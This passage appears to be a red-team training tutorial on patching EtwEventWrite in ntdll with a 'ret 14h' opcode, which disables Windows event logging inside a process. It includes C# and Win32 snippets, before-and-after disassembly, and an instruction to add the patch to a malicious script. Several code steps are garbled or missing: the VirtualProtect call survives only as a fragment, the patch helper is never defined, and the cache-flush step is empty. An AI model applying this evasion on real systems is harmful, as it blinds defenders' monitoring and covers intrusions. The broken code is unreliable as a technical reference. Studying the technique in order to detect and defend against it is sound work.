Patching tracing functions

ETW is loaded from the runtime of every new process, commonly originating from the CLR (Common Language Runtime). Within a new process, ETW events are sent from userland and issued directly from the current process. An attacker can write pre-defined opcodes to an in-memory function of ETW to patch and disable functionality.

ETW is written from the function EtwEventWrite. The disassembly of that function:

779f2459 33cc          xor    ecx, esp
779f245b e8501a0100    call   ntdll!_security_check_cookie
779f2460 8be5          mov    esp, ebp
779f2462 5d            pop    ebp
779f2463 c21400        ret    14h 

ret 14h will end the function and returns control to the calling application.

At a high level, ETW patching can be broken up into five steps:

  • Obtain a handle for EtwEventWrite

  • Modify memory permissions of the function

  • Write opcode bytes to memory

  • Reset memory permissions of the function (optional)

  • Flush the instruction cache (optional)


EtwEventWrite is stored within ntdll. Load the library and obtain the handle using GetProcAddress:

var ntdll = Win32.LoadLibrary("ntdll.dll");
var etwFunction = Win32.GetProcAddress(ntdll, "EtwEventWrite");

The permission of the function is defined by the flNewProtect parameter; 0x40 enables X, R, or RW access:

uint oldProtect;
	out oldProtect

Now the function has the permissions required to write to it, and the pre-defined opcode to patch it is known. Because of writing to a function and not a process, Marshal.Copy can be used to write the opcode.

patch(new byte[] { 0xc2, 0x14, 0x00 });

Clean to restore memory permissions as they were:

VirtualProtect(etwFunction, 4, oldProtect, &oldOldProtect);

Make sure the patched function will be executed from the instruction cache:


Compile these steps together and append them to a malicious script or session.

After the opcode is written to memory, view the disassembled function again:

779f23c0 c21400         ret    14h
779f23c3 00ec           add    ah, ch
779f23c5 83e4f8         and    esp, 0FFFFFFF8h
779f23c8 81ece0000000   sub    esp, 0E0h

Once the function is patched in memory, it will always return when EtwEventWrite is called. And that means it might not be a good idea as it may restrict more logs than desired for integrity.